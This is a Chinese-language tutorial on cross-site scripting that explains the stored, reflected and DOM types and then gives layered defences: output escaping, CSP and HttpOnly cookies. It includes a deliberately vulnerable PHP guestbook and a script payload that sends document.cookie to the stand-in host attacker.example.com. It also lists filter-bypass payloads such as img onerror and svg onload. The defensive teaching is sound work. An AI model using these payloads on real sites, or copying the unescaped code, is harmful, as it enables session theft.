ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS漏洞详解:三种类型与三层防御体系实战

XSS漏洞详解:三种类型与三层防御体系实战

1. XSS不是用来干坏事的:先给它正名

XSS这三个字母,在Web开发和安全圈子里提的频率相当高。全称是Cross-Site Scripting,中文叫跨站脚本攻击。很多第一次接触它的人,第一反应是“这玩意儿是不是很黑客?”其实换个视角看,XSS更像是一面照妖镜,它照出的是你网页代码里那些“用户输入没处理干净”的角落。我见过不少团队,功能做得很顺,一到安全测试阶段就发现留言板、搜索框、个人签名这些看起来不起眼的地方漏了洞,然后才急急忙忙去补。归根结底,XSS不是用来干坏事的,但你必须懂它怎么防。

简单说,XSS就是攻击者往你的页面里塞了一段浏览器会执行的脚本。这段脚本不是写在服务器上的,而是借用了你网站上某个“会原样回显用户输入”的窗口。比如一个评论功能,用户提交的内容被当成HTML直接输出到页面上,那么这段内容里夹杂的<script>标签就会被浏览器当成真正的代码执行。这个过程里,你的网站本身没有被动过,但访问这个页面的用户却被“代执行”了一段不属于原作者意图的代码。

这篇文章适合谁看?如果你是前端工程师、后端工程师、全栈开发者,或者正在做内部系统的运维与安全建设,那这篇东西应该能给你省下不少试错时间。我会把XSS的三种常见形态讲清楚,再给出一套从代码层到配置层的防御体系,最后用一个本地靶场把“漏洞怎么出现、怎么被触发、怎么修复”完整走一遍。看完之后,你至少能回答三个问题:我的代码会不会有XSS?有的话在哪一类场景下最容易出现?修的时候该怎么改才彻底?

2. 三种XSS形态拆解:攻击者的三条“进屋”路线

XSS虽然都叫跨站脚本,但触发路径差别很大。我习惯把三种类型看成三条不同的“进屋路线”:存储型是翻窗进来住下了,反射型是敲个门你把他请进来的,DOM型则是你信了屋里一张便条,自己把门打开的。

2.1 存储型XSS:恶意脚本藏进了数据库

存储型XSS也叫持久型XSS。攻击者把恶意代码提交到服务端,服务端把它存进数据库或者文件里,后面任何用户访问包含这条数据的页面,脚本都会被执行。举个例子,一个论坛的原始留言功能,攻击者发了一条评论,评论正文里带了<script>标签,数据库原样存储,前端渲染时又原样输出,那每个打开这个帖子的用户,浏览器都会执行这段脚本。

这个类型的危害是最大的。因为它不挑受害者,谁打开页面谁中招;而且它不需要攻击者再做什么,脚本已经“住”在你的服务器数据里了。常见的高发场景是评论区、用户资料里的个人简介、富文本编辑器、日志展示面板。我之前处理过一个内部管理系统的问题:员工在“部门公告”栏目里粘贴了一段带格式的文本,恰好系统没有过滤HTML,结果公告正文里的脚本在管理员审核页面和员工首页都执行了。虽然影响范围在一个企业内网里,但已经足够说明,存储型XSS离我们一点都不远。

2.2 反射型XSS:诱导点击的一次性陷阱

反射型XSS的特点是不入库,脚本在请求参数里,服务端拿到参数后直接拼进了返回页面。攻击者需要诱导用户点击一个精心构造的链接,链接的URL里带着恶意参数,浏览器把链接发到服务器,服务器把参数原封不动地反射回来,页面就带着脚本被执行了。

典型场景是搜索页面。你搜一个关键词,页面显示“你搜索的是:xxx”,这个xxx如果直接被当成HTML输出,就形成了一条反射型XSS链路。攻击者会把这个链接伪装成正常地址发给目标用户,看起来像是“你搜索的关键词是”结果页,实际上脚本已经在后台悄悄干活了。这个类型的历史地位很高,早年很多统计漏洞都是通过这类参数反射发现的。它的防护方式相对容易,对所有输出到HTML的变量做上下文感知的转义,基本就能堵住。

2.3 DOM型XSS:浏览器端自己埋下的雷

DOM型XSS跟前两种不太一样,它的整个攻击过程可能根本没经过服务端。页面里有一段JavaScript,读取了URL上的参数、location.hash或者localStorage里的数据,然后直接用innerHTML、document.write这类API把内容写进了DOM。攻击者构造一个恶意URL,用户访问后,前端脚本自己读取恶意参数,自己把它渲染成了HTML,恶意代码就在这个过程中被执行了。

这个类型的隐蔽性很高。因为服务端返回的HTML本身是完全正常的,网络层面的安全设备也看不出异常,问题全发生在浏览器端的运行时。常见触发点包括:SPA应用里读取路由参数做页面标题、单页应用的消息通知组件直接拼接用户昵称、后台系统里用URL参数控制tab切换等。我后来排查这类问题时有个习惯:在浏览器控制台里手动改URL参数,观察DOM变化,比单纯看服务端响应要直接得多。

3. 防御体系怎么搭:代码、配置、流程三线并行

很多人的第一个想法是“我把用户的输入过滤一遍不就行了”。这个思路方向是对的,但不能只靠它。XSS防御我建议按三层来做:代码层把该转义的转义、该校验的校验;配置层把浏览器的安全策略打开;流程层用自动化工具和人工复查兜底。

3.1 输出转义:所有动态内容离开代码前都要过安检

输出转义是防XSS最核心、最需要养成的习惯。它的思路是:所有要渲染到页面上的动态数据,必须根据它的输出位置选择对应的编码方式。如果数据要被输出在HTML标签的文本节点里,那就要转义<、>、&、引号这些字符;如果是要输出在标签属性里,还要额外考虑属性上下文的转义规则;如果是要输出在JavaScript字符串里,那处理方法又不一样。

我自己以前犯过一个典型错误:只对<和>做了替换,认为“没有尖括号就构造不了标签”。后来在安全测试里被一个<img src=x onerror=alert(1)>打得怀疑人生——因为我没有考虑属性事件也可以执行脚本。从那以后我统一改成使用成熟的转义库,而不是自己写正则去拼。比如PHP里用htmlspecialchars($str, ENT_QUOTES, 'UTF-8'),Java里用框架自带的上下文转义机制,前端则尽量使用textContent而不是innerHTML去填充用户数据。

3.2 输入校验:白名单永远比黑名单靠谱

输入校验属于前置防线。使用场景一般是:这个字段本身有明确的格式期望。比如年龄字段只允许1到3位数字,邮箱字段必须匹配邮箱格式,状态字段只能取值enabled或disabled。遇到这类场景,直接上白名单校验,服务端再做一次同样的校验。白名单的好处是“只能通过符合预期的数据”,攻击payload天然进不来。

但要注意:输入校验不能替代输出转义。原因很简单——你不可能预判所有后续消费场景。同一个用户输入可能被渲染在HTML页面、放在JSON接口里、拼进日志文件,每个场景的转义规则都不一样。把输入校验当成第一道门,把输出转义当成最后一道闸,两层都做好,才能算真的稳。

3.3 CSP与HttpOnly:漏洞堵不住就把伤害压到最低

代码写错了、某个历史接口忘了加固,这种事情谁都不敢说自己永远不会遇到。所以要有纵深防御的最后一层。

CSP(Content Security Policy)是浏览器提供的一种安全机制,通过响应头告诉浏览器“这个页面只允许执行来自哪些来源的脚本、加载哪些来源的图片和样式”。即使攻击者成功注入了脚本,只要脚本来源不在白名单里,浏览器就会直接拦下来。我给生产环境做CSP时,最常用的一条策略是script-src 'self',意思是脚本只允许从同域加载。这个策略对大多数不依赖内联脚本的系统来说,防护效果非常明显。

HttpOnly是跟Cookie相关的一个属性。只要给关键Cookie(尤其是会话标识)加上HttpOnly标记,document.cookie就读不到这个Cookie的值了。XSS最常见的危害就是偷偷把用户Cookie发给攻击者,加了这个标记后,这条攻击路径就直接被堵死。在PHP里可以用session_set_cookie_params来设置,也可以直接用setcookie时带上httponly参数。

3.4 自动化扫描加人工复查:上线前的最后一道闸

只靠写代码时的自觉,总会有漏网之鱼。所以我强烈建议在发布流程里加入自动化扫描这一步。开源的扫描器、商业的Web漏洞扫描平台都可以用,它们能在页面渲染层面提交各种恶意payload,观察XSS防护是否生效。自动化扫描的优点是覆盖面广、速度很快,缺点是某些动态渲染的DOM型XSS它不一定抓得住。所以扫描之外,还需要人工对高风险功能做一轮代码审计:评论、搜索、资料编辑、文件上传后的预览、报表导出——这些跟用户输入强相关的功能,值得一行行看。

4. 实操现场:搭一个本地靶场,完整走一遍攻防

光说不练假把式。我平时给团队做安全分享时,习惯用一个最小化的靶场来演示XSS从出现到修复的完整链路。下面这个例子只用于自己电脑上的学习验证,任何未经授权的测试都是有风险的,这点必须先说清楚。

4.1 准备一个最小靶场环境

我用PHP搭了一个最简单的留言板,功能只有两个:提交留言、展示留言。用一个文本文件当“数据库”,这样整个演示不需要安装数据库,把文件放在本地nginx或者Apache的web目录下就能跑。实际线上系统很少会这么写,但恰恰是这种“精简到只剩漏洞”的代码,最适合看透问题本质。

漏洞版本的文件结构如下:

  • index.php:接收留言并写入文件
  • show.php:读取文件并输出留言列表

提交留言的代码:

<?php // index.php $message = $_POST['message'] ?? ''; file_put_contents('comments.txt', $message . PHP_EOL, FILE_APPEND); header('Location: show.php');

展示留言的代码:

<?php // show.php $comments = file('comments.txt', FILE_IGNORE_NEW_LINES); foreach ($comments as $comment) { echo "<div>" . $comment . "</div>"; } ?>

这两段代码的问题很清楚:$_POST['message']被原样保存,又被原样输出到HTML中,中间没有任何转义。整个页面的渲染方式就是“用户给什么,页面就展示什么”。

4.2 复现存储型XSS触发链路

我在留言框里提交了这样一段内容:

<script> new Image().src = 'http://attacker.example.com/collect?cookie=' + document.cookie; </script>

这段代码的真实意图是:当其他用户打开show.php时,浏览器会执行这条JavaScript,把当前用户Cookie中的关键信息发送到指定地址。在实际攻防中,攻击者拿到会话信息后可以做的事情远不止“看一眼”,所以它的危害才被说得那么严重。注意,这个示例里的attacker.example.com就是我随手写的虚构地址,仅仅用来演示流程。

提交完成后,我清空浏览器的历史记录,再以“另一个普通用户”的身份打开show.php。页面正常渲染,留言内容也显示了出来。但我在开发者工具的控制台里看到了一条被发送到attacker.example.com的请求,Cookie信息就在URL参数里。这是一个标准的存储型XSS:脚本已经存在了服务器数据里,任何访问者都会“中招”。

4.3 三处改动完成加固修复

修复这个漏洞,需要改三处。

第一处,show.php在渲染留言时做HTML实体转义:

<?php $comments = file('comments.txt', FILE_IGNORE_NEW_LINES); foreach ($comments as $comment) { $safe = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); echo "<div>" . nl2br($safe) . "</div>"; } ?>

htmlspecialchars会把<、>、&、双引号、单引号都转成对应的HTML实体,浏览器在解析时就再也不会把它们当成真正的标签或脚本了。之所以要加ENT_QUOTES,是因为单引号和双引号都要转,如果只转双引号,某些属性场景下仍然可能被单引号闭合,造成新的注入点。

第二处,在服务端设置安全相关的响应头。可以在PHP入口文件里统一发送CSP响应头:

<?php header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'");

这条CSP的意思很明确:所有资源默认只从当前域名加载,脚本只信任同源脚本,不允许内联脚本,不允许flash之类的object资源。有了这个响应头,哪怕某个页面真的漏了转义、真的注入了标签,浏览器也会因为脚本来源不合法而拒绝执行。这一点在真实场景里的兜底价值非常大。

第三处,给会话Cookie加上HttpOnly和Secure属性。这里以PHP的session_set_cookie_params为例:

<?php session_set_cookie_params([ 'httponly' => true, 'secure' => true, 'samesite' => 'Lax', ]); session_start();

httponly让JavaScript无法读取这个Cookie,secure让它在HTTPS环境下才会上传,samesite限制跨站请求携带的时机。这个组合不止防XSS,还能有效缓解一部分CSRF(跨站请求伪造)攻击。三处改动做完之后,我重新提交同样的留言,页面显示不再出现新的请求记录,控制台也没有任何脚本执行痕迹,说明这条攻击链路已经彻底闭合了。

5. 常见问题与排查技巧实录

5.1 过滤了尖括号,为什么还是被打穿

这是我在实战答疑里遇到过最多次的问题。很多团队的防护策略是:把用户输入里的<和>替换为空字符串,或者把script这个词过滤掉。表面上看,<script>alert(1)</script>确实被干掉了。但攻击者只需要换一种写法就能绕过。比如:

<img src=x onerror=alert(1)>

尖括号和script都不存在了,浏览器照样会在图片加载失败时触发onerror里的脚本。再比如用<svg/onload=alert(1)>、<iframe src="javascript:alert(1)">、大小写混合的<ScRiPt>等等。黑名单过滤的思路本身就是不可靠的,因为你永远不知道攻击者还能用什么标签、什么属性、什么编码组合来绕过。正确的做法是放弃黑名单思维,统一使用白名单式的输出转义,在渲染时让所有用户数据“变成安全的文本”,而不是去猜哪些标签可以放行。

5.2 DOM XSS自动化扫描扫不出来

有一类情况很典型:自动化工具扫描了一圈,没有发现任何漏洞,但安全测试人员手动在浏览器地址栏里改了URL参数,页面上立刻跳出了弹窗。原因在于很多工具做的是发送请求、分析响应里的内容,而DOM型XSS的问题根本不在服务端响应里。服务端返回的是一个空壳HTML,真正出问题的是前端JavaScript拿到URL参数后执行的一系列操作。

排查这类问题时,我习惯用浏览器开发者工具做这几步:先在控制台执行window.location.href看看当前URL里有哪些参数;再搜索代码里有没有innerHTML、outerHTML、document.write、insertAdjacentHTML这类高危API;最后把URL参数改成一个独特的字符串,比如TEST123,然后在Elements面板里搜索这个字符串出现在了哪个DOM节点上。如果它出现在某个带事件属性的标签里,那这里就是一个DOM型XSS点。修复方式也很简单:用textContent代替innerHTML,用createElement和appendChild代替字符串拼接。

5.3 CSP上线即翻车

CSP是好东西,但新手上路容易把它写成“业务杀手”。我见过最典型的翻车现场是:给系统加了一条default-src 'self',然后线上页面整个变白、样式全丢、图片全挂、接口请求全被拦。原因是这个系统里本来就有很多外部引用的图片、第三方统计脚本、内联的样式代码,而CSP默认把这些全部禁止了。

正确做法是先上Content-Security-Policy-Report-Only模式,让浏览器只报告问题但不实际拦截。这个模式跑上一段时间,从上报日志里看清楚这个系统到底引用了哪些外部资源,再逐个加到白名单里。等告警数量降下来了,再切换成强制模式。比如我常用的过渡策略是这样的:

Content-Security-Policy-Report-Only: default-src 'none'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; connect-src 'self'; report-uri /csp-report

img-src 'self' data:允许加载同域图片和base64图片,style-src 'unsafe-inline'允许内联样式,connect-src 'self'限制AJAX请求只能发到同域。这些配置虽然不算最严格,但至少能让业务先跑起来,再逐步收紧。

5.4 富文本场景到底怎么防

富文本编辑器的防御难度比纯文本高很多,因为编辑器本身就允许用户输入HTML。你不能直接把所有标签转义,否则加粗、下划线、图片这些功能全废了。这时候的通用方案是使用白名单式的过滤库,比如前端常用的DOMPurify,它会把用户提交的HTML解析成DOM树,只保留白名单里的标签和属性,其他的全部移除。比如<b>标签会保留,<script>会移除,<img src=x onerror=...>里的onerror属性也会被移除。服务端最好也做一遍同样的过滤,因为前端过滤可以被绕过,接口可以被直接调用。

我个人的经验是:富文本功能上线前,一定要用几组危险样例做回归测试。把<img src=x onerror=alert(1)>、<a href="javascript:alert(1)">点我</a>、<svg onload=alert(1)>这些经典payload逐条粘进编辑器,提交后再看展示页面是否弹窗。这些样例可以沉淀成一份固定的安全测试用例集,以后每次发版都跑一遍。

为了便于快速对照,我把几个高频问题和对应思路整理成了一张速查表:

现象可能原因排查思路
过滤了script还是被打穿只做了黑名单替换,忽略了其他标签和属性改用白名单转义或过滤库,回归测试经典payload
自动化扫描无结果,人工测试有风险DOM型XSS靠服务端响应分析发现不了在控制台手动改URL参数,搜索高危DOM操作API
开启CSP后页面样式和图片全丢白名单放行范围不足,没有跑兼容性评估先用Report-Only模式收集告警,再逐步放行资源
富文本存储后显示一堆&lt;存储阶段做了过度转义,把数据本身污染了存储原始数据,只在渲染时做转义
用户输入在属性里注入新属性输出到HTML属性时没做属性上下文转义统一使用属性上下文转义函数,禁止拼接未处理参数

6. 写在最后:我的几点真实体会

我第一次真正重视XSS,是在一次内部系统安全测试时。当时我负责的是一个消息通知模块,用户昵称会直接拼接在页面标题里。测试人员提交了一个带事件属性的昵称,弹窗就出来了。那一刻我突然意识到,安全不是安全团队一个部门的事,而是每个写代码的人的日常责任。后来我养成了一个习惯:每当写完一段涉及“用户数据 + 页面输出”的代码,都会在脑子里过一遍这个数据从哪来、经过了哪些处理、最终在什么上下文里渲染。这个习惯比起事后补漏洞,成本低太多了。

如果你现在刚开始接触这块,我建议先别急着背各种payload,而是先把输出转义和CSP这两件事焊死在你的开发规范里。它们不一定能解决所有安全问题,但能挡住绝大多数常见的XSS利用链。后面再遇到更复杂的场景,比如富文本、SPA应用、跨域数据共享,再基于这条底线逐步扩展防御策略。安全这个东西,本质上就是一层层防线叠加出来的结果,每多一层,攻击者就得绕多一堵墙。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进